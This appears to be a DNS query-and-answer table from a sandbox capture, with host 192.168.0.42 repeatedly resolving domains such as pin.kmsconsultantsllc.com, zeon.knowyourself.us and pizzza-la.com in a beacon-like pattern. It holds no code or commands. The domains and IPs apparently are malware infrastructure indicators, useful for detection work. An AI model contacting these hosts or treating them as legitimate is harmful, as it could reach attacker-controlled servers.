Okt 9, 2018 20:13:51.854617119 MESZ	192.168.0.42	8.8.8.8	0x6fce	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:56.730390072 MESZ	192.168.0.42	8.8.8.8	0x7d89	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:13:57.563033104 MESZ	192.168.0.42	8.8.8.8	0x7edb	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:01.599076033 MESZ	192.168.0.42	8.8.8.8	0x9e3e	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:03.663825989 MESZ	192.168.0.42	8.8.8.8	0xd4e	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:06.563963890 MESZ	192.168.0.42	8.8.8.8	0xbe45	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:07.694149017 MESZ	192.168.0.42	8.8.8.8	0xdfc9	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:07.717652082 MESZ	192.168.0.42	8.8.8.8	0xd03f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:08.746584892 MESZ	192.168.0.42	8.8.8.8	0x14b4	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:09.473007917 MESZ	192.168.0.42	8.8.8.8	0x73ff	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:09.562400103 MESZ	192.168.0.42	8.8.8.8	0xb016	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:14.744970083 MESZ	192.168.0.42	8.8.8.8	0x2577	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:15.565139055 MESZ	192.168.0.42	8.8.8.8	0xee00	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:19.620038986 MESZ	192.168.0.42	8.8.8.8	0xcbff	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:21.602960110 MESZ	192.168.0.42	8.8.8.8	0xa9a8	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:24.566245079 MESZ	192.168.0.42	8.8.8.8	0x4e3f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:25.703926086 MESZ	192.168.0.42	8.8.8.8	0x73c3	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:25.731765032 MESZ	192.168.0.42	8.8.8.8	0xda55	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:26.755947113 MESZ	192.168.0.42	8.8.8.8	0x89d7	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:27.459978104 MESZ	192.168.0.42	8.8.8.8	0x68d2	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:27.568567991 MESZ	192.168.0.42	8.8.8.8	0x63f1	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:32.730110884 MESZ	192.168.0.42	8.8.8.8	0x3ecf	Standard query (0)	pin.kmsconsultantsllc.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:33.664973974 MESZ	192.168.0.42	8.8.8.8	0x5b9	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:34.820215940 MESZ	192.168.0.42	8.8.8.8	0xdae5	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:34.836904049 MESZ	192.168.0.42	8.8.8.8	0x5c96	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:36.858392954 MESZ	192.168.0.42	8.8.8.8	0x9386	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:37.565937996 MESZ	192.168.0.42	8.8.8.8	0x2368	Standard query (0)	zeon.knowyourself.us	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:37.960645914 MESZ	192.168.0.42	8.8.8.8	0xcac8	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:37.979398012 MESZ	192.168.0.42	8.8.8.8	0x630a	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:40.010701895 MESZ	192.168.0.42	8.8.8.8	0xfabe	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:41.166047096 MESZ	192.168.0.42	8.8.8.8	0xd29f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:41.197495937 MESZ	192.168.0.42	8.8.8.8	0xa28c	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:42.553858995 MESZ	192.168.0.42	8.8.8.8	0x16ec	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:43.211682081 MESZ	192.168.0.42	8.8.8.8	0xc2ea	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:43.669158936 MESZ	192.168.0.42	8.8.8.8	0x5f8a	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:43.691696882 MESZ	192.168.0.42	8.8.8.8	0xc52d	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:44.716304064 MESZ	192.168.0.42	8.8.8.8	0xe8c9	Standard query (0)	stormsfronts.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:45.405002117 MESZ	192.168.0.42	8.8.8.8	0x2b56	Standard query (0)	pixmania.biz	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:46.309492111 MESZ	192.168.0.42	8.8.8.8	0x5874	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:47.333349943 MESZ	192.168.0.42	8.8.8.8	0x263f	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)
Okt 9, 2018 20:14:47.340914965 MESZ	192.168.0.42	8.8.8.8	0xa075	Standard query (0)	pizzza-la.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Okt 9, 2018 20:09:41.505326033 MESZ	8.8.8.8	192.168.0.42	0x2ee4	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:41.807564974 MESZ	8.8.8.8	192.168.0.42	0x4018	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:41.912178993 MESZ	8.8.8.8	192.168.0.42	0x59ad	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:41.973936081 MESZ	8.8.8.8	192.168.0.42	0xc965	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:46.563433886 MESZ	8.8.8.8	192.168.0.42	0x4b9f	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:46.697207928 MESZ	8.8.8.8	192.168.0.42	0x6c3a	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:46.731442928 MESZ	8.8.8.8	192.168.0.42	0x93f7	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:47.553278923 MESZ	8.8.8.8	192.168.0.42	0xadcc	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:51.560254097 MESZ	8.8.8.8	192.168.0.42	0x694f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:51.687793016 MESZ	8.8.8.8	192.168.0.42	0x7494	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:51.726303101 MESZ	8.8.8.8	192.168.0.42	0x464d	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:52.878679991 MESZ	8.8.8.8	192.168.0.42	0x3f31	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.114131927 MESZ	8.8.8.8	192.168.0.42	0x82b8	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.266772985 MESZ	8.8.8.8	192.168.0.42	0x66e3	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.563711882 MESZ	8.8.8.8	192.168.0.42	0xc360	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:53.921420097 MESZ	8.8.8.8	192.168.0.42	0xb081	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:54.166485071 MESZ	8.8.8.8	192.168.0.42	0x7874	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:54.193156958 MESZ	8.8.8.8	192.168.0.42	0x5fd8	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:59.622570038 MESZ	8.8.8.8	192.168.0.42	0x8ce3	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:09:59.875857115 MESZ	8.8.8.8	192.168.0.42	0x2a1a	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:04.556174994 MESZ	8.8.8.8	192.168.0.42	0x3ca2	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:05.539741993 MESZ	8.8.8.8	192.168.0.42	0xca30	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:09.543179035 MESZ	8.8.8.8	192.168.0.42	0x2dd7	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:10.677252054 MESZ	8.8.8.8	192.168.0.42	0xbc95	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:10.708935022 MESZ	8.8.8.8	192.168.0.42	0x9080	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:11.640055895 MESZ	8.8.8.8	192.168.0.42	0xeeb7	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:11.744616985 MESZ	8.8.8.8	192.168.0.42	0xab6e	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:12.443578959 MESZ	8.8.8.8	192.168.0.42	0x2c1f	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:17.621062994 MESZ	8.8.8.8	192.168.0.42	0x34e8	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:17.847404957 MESZ	8.8.8.8	192.168.0.42	0xdfa7	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:22.559103012 MESZ	8.8.8.8	192.168.0.42	0xcd8c	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:23.555862904 MESZ	8.8.8.8	192.168.0.42	0x5d99	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:27.554924965 MESZ	8.8.8.8	192.168.0.42	0x75a4	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:28.705104113 MESZ	8.8.8.8	192.168.0.42	0x148d	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:28.749808073 MESZ	8.8.8.8	192.168.0.42	0xf027	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:29.553443909 MESZ	8.8.8.8	192.168.0.42	0xc5a9	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:29.908780098 MESZ	8.8.8.8	192.168.0.42	0x5557	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:30.655920029 MESZ	8.8.8.8	192.168.0.42	0x4cd0	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:35.595019102 MESZ	8.8.8.8	192.168.0.42	0xafbf	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:35.808921099 MESZ	8.8.8.8	192.168.0.42	0x61f2	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:40.547384024 MESZ	8.8.8.8	192.168.0.42	0xf702	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:41.661478043 MESZ	8.8.8.8	192.168.0.42	0x1db3	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:42.785778999 MESZ	8.8.8.8	192.168.0.42	0xd497	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:42.821742058 MESZ	8.8.8.8	192.168.0.42	0x8d99	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:44.848253965 MESZ	8.8.8.8	192.168.0.42	0x4270	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:45.552006006 MESZ	8.8.8.8	192.168.0.42	0x331c	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:45.982712984 MESZ	8.8.8.8	192.168.0.42	0xfc98	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:46.000555992 MESZ	8.8.8.8	192.168.0.42	0x8884	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:47.704125881 MESZ	8.8.8.8	192.168.0.42	0xf749	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:48.025079966 MESZ	8.8.8.8	192.168.0.42	0x9558	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:48.559881926 MESZ	8.8.8.8	192.168.0.42	0x7b43	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:49.176276922 MESZ	8.8.8.8	192.168.0.42	0x6cbc	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:49.205574989 MESZ	8.8.8.8	192.168.0.42	0xc2e4	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:51.300658941 MESZ	8.8.8.8	192.168.0.42	0x86dc	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:52.424046040 MESZ	8.8.8.8	192.168.0.42	0x31c3	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:52.449575901 MESZ	8.8.8.8	192.168.0.42	0x96eb	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:53.755548954 MESZ	8.8.8.8	192.168.0.42	0x7243	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:54.474833012 MESZ	8.8.8.8	192.168.0.42	0xfc86	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:55.620285988 MESZ	8.8.8.8	192.168.0.42	0x6953	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:55.657861948 MESZ	8.8.8.8	192.168.0.42	0x1e8f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:57.804960012 MESZ	8.8.8.8	192.168.0.42	0x9fea	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:58.562721014 MESZ	8.8.8.8	192.168.0.42	0x33fe	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:10:59.532181025 MESZ	8.8.8.8	192.168.0.42	0x8ee3	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:01.230922937 MESZ	8.8.8.8	192.168.0.42	0x64d2	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:02.980665922 MESZ	8.8.8.8	192.168.0.42	0x1661	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:03.542480946 MESZ	8.8.8.8	192.168.0.42	0x254f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:04.672998905 MESZ	8.8.8.8	192.168.0.42	0x91ca	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:04.690176010 MESZ	8.8.8.8	192.168.0.42	0xc155	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:05.188380003 MESZ	8.8.8.8	192.168.0.42	0x70f	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:05.704535961 MESZ	8.8.8.8	192.168.0.42	0x27de	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:06.461617947 MESZ	8.8.8.8	192.168.0.42	0xb041	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:07.967936993 MESZ	8.8.8.8	192.168.0.42	0x49f3	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:11.720865965 MESZ	8.8.8.8	192.168.0.42	0x20e6	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:13.554410934 MESZ	8.8.8.8	192.168.0.42	0x2579	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:16.541296005 MESZ	8.8.8.8	192.168.0.42	0x38f0	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:19.541268110 MESZ	8.8.8.8	192.168.0.42	0xb5c4	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:21.597966909 MESZ	8.8.8.8	192.168.0.42	0x8d48	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:22.722079992 MESZ	8.8.8.8	192.168.0.42	0x7df3	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:22.740716934 MESZ	8.8.8.8	192.168.0.42	0x6ca4	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:23.754729033 MESZ	8.8.8.8	192.168.0.42	0x2a0c	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:24.427952051 MESZ	8.8.8.8	192.168.0.42	0x68ce	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:25.556669950 MESZ	8.8.8.8	192.168.0.42	0x4342	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:29.697926998 MESZ	8.8.8.8	192.168.0.42	0xb603	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:31.544133902 MESZ	8.8.8.8	192.168.0.42	0xcca	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:34.541924953 MESZ	8.8.8.8	192.168.0.42	0xa19	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:37.778870106 MESZ	8.8.8.8	192.168.0.42	0x1757	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:39.541673899 MESZ	8.8.8.8	192.168.0.42	0xe5d5	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:40.651555061 MESZ	8.8.8.8	192.168.0.42	0x1b5f	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:40.667917013 MESZ	8.8.8.8	192.168.0.42	0x6a75	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:41.681380033 MESZ	8.8.8.8	192.168.0.42	0x1131	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:42.358517885 MESZ	8.8.8.8	192.168.0.42	0x3097	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:43.544174910 MESZ	8.8.8.8	192.168.0.42	0x99cc	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:47.711517096 MESZ	8.8.8.8	192.168.0.42	0x2c9e	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:49.544572115 MESZ	8.8.8.8	192.168.0.42	0xc780	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:52.585484982 MESZ	8.8.8.8	192.168.0.42	0x678b	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:55.543798923 MESZ	8.8.8.8	192.168.0.42	0x4038	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:57.543767929 MESZ	8.8.8.8	192.168.0.42	0xfdde	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:58.651318073 MESZ	8.8.8.8	192.168.0.42	0xb8d4	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:58.668329954 MESZ	8.8.8.8	192.168.0.42	0x111b	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:11:59.677643061 MESZ	8.8.8.8	192.168.0.42	0x9ffd	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:00.372409105 MESZ	8.8.8.8	192.168.0.42	0x2ea0	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:01.561397076 MESZ	8.8.8.8	192.168.0.42	0x7743	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:05.732920885 MESZ	8.8.8.8	192.168.0.42	0x1845	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:07.687086105 MESZ	8.8.8.8	192.168.0.42	0xffa0	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:10.570059061 MESZ	8.8.8.8	192.168.0.42	0x9e74	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:13.546134949 MESZ	8.8.8.8	192.168.0.42	0xd36d	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:15.547383070 MESZ	8.8.8.8	192.168.0.42	0x2798	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:16.653466940 MESZ	8.8.8.8	192.168.0.42	0xd124	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:16.671334982 MESZ	8.8.8.8	192.168.0.42	0x5798	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:17.684907913 MESZ	8.8.8.8	192.168.0.42	0x738f	No error (0)	stormsfronts.com	209.99.40.223	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:18.366198063 MESZ	8.8.8.8	192.168.0.42	0x9fdc	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:19.546946049 MESZ	8.8.8.8	192.168.0.42	0x86e9	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:23.780389071 MESZ	8.8.8.8	192.168.0.42	0xc571	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:25.545857906 MESZ	8.8.8.8	192.168.0.42	0x8e03	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:28.546996117 MESZ	8.8.8.8	192.168.0.42	0xcfbb	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:31.550640106 MESZ	8.8.8.8	192.168.0.42	0x5c19	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:33.551054001 MESZ	8.8.8.8	192.168.0.42	0x379	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:34.659159899 MESZ	8.8.8.8	192.168.0.42	0xbfce	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:34.678287029 MESZ	8.8.8.8	192.168.0.42	0xd9a1	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:35.694596052 MESZ	8.8.8.8	192.168.0.42	0xf7ca	No error (0)	stormsfronts.com	209.99.40.222	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:36.462770939 MESZ	8.8.8.8	192.168.0.42	0xf365	No error (0)	pixmania.biz	104.238.170.189	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:37.657043934 MESZ	8.8.8.8	192.168.0.42	0xaee	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:38.830982924 MESZ	8.8.8.8	192.168.0.42	0x82a9	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:38.849112034 MESZ	8.8.8.8	192.168.0.42	0x7eba	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:40.867522955 MESZ	8.8.8.8	192.168.0.42	0x8d7b	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:41.757666111 MESZ	8.8.8.8	192.168.0.42	0x3bf1	No error (0)	pin.kmsconsultantsllc.com	185.77.129.221	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:41.973535061 MESZ	8.8.8.8	192.168.0.42	0xad6	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:41.992891073 MESZ	8.8.8.8	192.168.0.42	0x822d	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:44.015266895 MESZ	8.8.8.8	192.168.0.42	0x63d1	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:45.136332989 MESZ	8.8.8.8	192.168.0.42	0x4a24	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:45.153069019 MESZ	8.8.8.8	192.168.0.42	0x846	No error (0)	pizzza-la.com	127.0.0.1	A (IP address)	IN (0x0001)
Okt 9, 2018 20:12:46.551084995 MESZ	8.8.8.8	192.168.0.42	0x4d3f	No error (0)	zeon.knowyourself.us	185.77.129.221	A (IP address)	IN (0x0001)
